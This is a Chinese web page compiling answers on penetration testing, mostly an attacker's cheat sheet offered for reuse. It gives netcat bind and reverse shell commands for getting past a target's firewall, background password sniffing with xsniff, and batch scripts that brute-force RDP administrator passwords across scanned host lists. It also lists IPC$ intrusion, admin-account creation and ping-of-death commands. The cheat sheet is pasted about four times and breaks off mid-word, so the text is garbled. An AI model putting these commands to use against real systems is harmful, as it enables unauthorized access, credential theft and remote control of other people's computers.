『壹』 滲透測試工具的滲透測試工具
通常的黑客攻擊包來括預攻擊、源攻擊和後攻擊三個階段;預攻擊階段主要指一些信息收集和漏洞掃描的過程;攻擊過程主要是利用第一階段發現的漏洞或弱口令等脆弱性進行入侵;後攻擊是指在獲得攻擊目標的一定許可權後,對許可權的提升、後面安裝和痕跡清除等後續工作。與黑客的攻擊相比,滲透測試僅僅進行預攻擊階段的工作,並不對系統本身造成危害,即僅僅通過一些信息搜集手段來探查系統的弱口令、漏洞等脆弱性信息。為了進行滲透測試,通常需要一些專業工具進行信息收集。滲透測試工具種類繁多,涉及廣泛,按照功能和攻擊目標分為網路掃描工具、通用漏洞檢測、應用漏洞檢測三類。
『貳』 nc.exe使用方法
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在
remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的
cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到
CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,
直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80端
口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件
到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容
賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt
>> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別
執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果
,是因為第二次的結果把第一次的覆蓋了。
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止
IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件
名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默
認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測
192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測
192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大
並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」
文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同
一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在
pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和
udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用-f後面的密碼
-F 間隔時間(頻率)
-l 使用-l後面的用戶名
-w 使用-w後面的密碼字典
-p 使用-p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典文件暴破
主機的administrator的登陸密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠程登陸
192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主
機IP列表文件3389.txt)
3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、
pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的
administrator密碼,並將破解結果保存在rouji.txt文件中。
本人比較懶汗,那麼多呢!~不去記了整理出來HOHO大家也能用著,嘎嘎~
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在
remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的
cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到
CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,
直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80端
口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件
到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容
賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt
>> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別
執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果
,是因為第二次的結果把第一次的覆蓋了。
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止
IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件
名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默
認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測
192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測
192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大
並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」
文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同
一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在
pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和
udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用-f後面的密碼
-F 間隔時間(頻率)
-l 使用-l後面的用戶名
-w 使用-w後面的密碼字典
-p 使用-p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典文件暴破
主機的administrator的登陸密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠程登陸
192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主
機IP列表文件3389.txt)
3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、
pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的
administrator密碼,並將破解結果保存在rouji.txt文件中。
本人比較懶汗,那麼多呢!~不去記了整理出來HOHO大家也能用著,嘎嘎~
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在
remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的
cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到
CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,
直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80端
口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件
到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容
賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt
>> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別
執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果
,是因為第二次的結果把第一次的覆蓋了。
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止
IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件
名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默
認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測
192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測
192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大
並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」
文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同
一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在
pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和
udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用-f後面的密碼
-F 間隔時間(頻率)
-l 使用-l後面的用戶名
-w 使用-w後面的密碼字典
-p 使用-p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典文件暴破
主機的administrator的登陸密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠程登陸
192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主
機IP列表文件3389.txt)
3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、
pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的
administrator密碼,並將破解結果保存在rouji.txt文件中。
本人比較懶汗,那麼多呢!~不去記了整理出來HOHO大家也能用著,嘎嘎~
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在
remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的
cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到
CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,
直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80端
口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件
到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容
賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt
>> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別
執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果
,是因為第二次的結果把第一次的覆蓋了。
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止
IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件
名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默
認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測
192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測
192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大
並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file ho
『叄』 作為小白如何學習Kali linux滲透測試技術
首先你要明白你學KALI的目的是什麼,其次你要了解什麼是kali,其實你並不是想要學會kali你只是想當一個hacker
kali是什麼:
只是一個集成了多種滲透工具的linux操作系統而已,拋開這些工具,他跟常規的linux沒有太大區別。
你可能想學的是滲透技巧,相當一個黑客是吧?我建議你先從基礎開始學起,比如漏洞是如何形成的,然後如何被利用,例:SQL注入漏洞。
如何成為一個黑客?:
-> 具有極高的興趣以及能夠持之以恆的心
-> 多結交良師益友很重要
->學習編程語言(python,php,html,javaScript,java,c等,只有你會編程才能知道為什麼會形成漏洞,才知道怎麼利用漏洞)
->學習伺服器運維(winservice和linux操作系統,域管理,許可權管理等等等等不一一闡述)學習系統了解系統,因為你要了解一個站長是如何管理伺服器的,伺服器有哪些可以被你利用的地方,到時候用nmap掃描出來的結果你才能分析,才明白是什麼意思
->英文好很重要,國外文獻才能看得懂,英文好不好直接影響你能不能成為頂級黑闊
->多多實戰演練,從基礎的注入漏洞,XSS,弱口令,抓包等開始你的滲透生涯,等你拿到webshell的時候,你會有成就感 並且想學習的慾望越發強烈,等你拿到cmdshell的時候,你已經具備成為一個腳本小子的資格了,再往下走就要看你自己的天賦了,畢竟我的水平也僅限於此。
記住哦,一個hacker是要擺脫工具的,只會用工具永遠只是腳本小子。你要自己了解原理,然後自己寫工具出來。kali只是一個系統級滲透工具箱,只要你學會了滲透,有沒有kali一樣牛逼
此段摘自知乎Toom
『肆』 計算機命令
進入注冊表該用 regedit
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
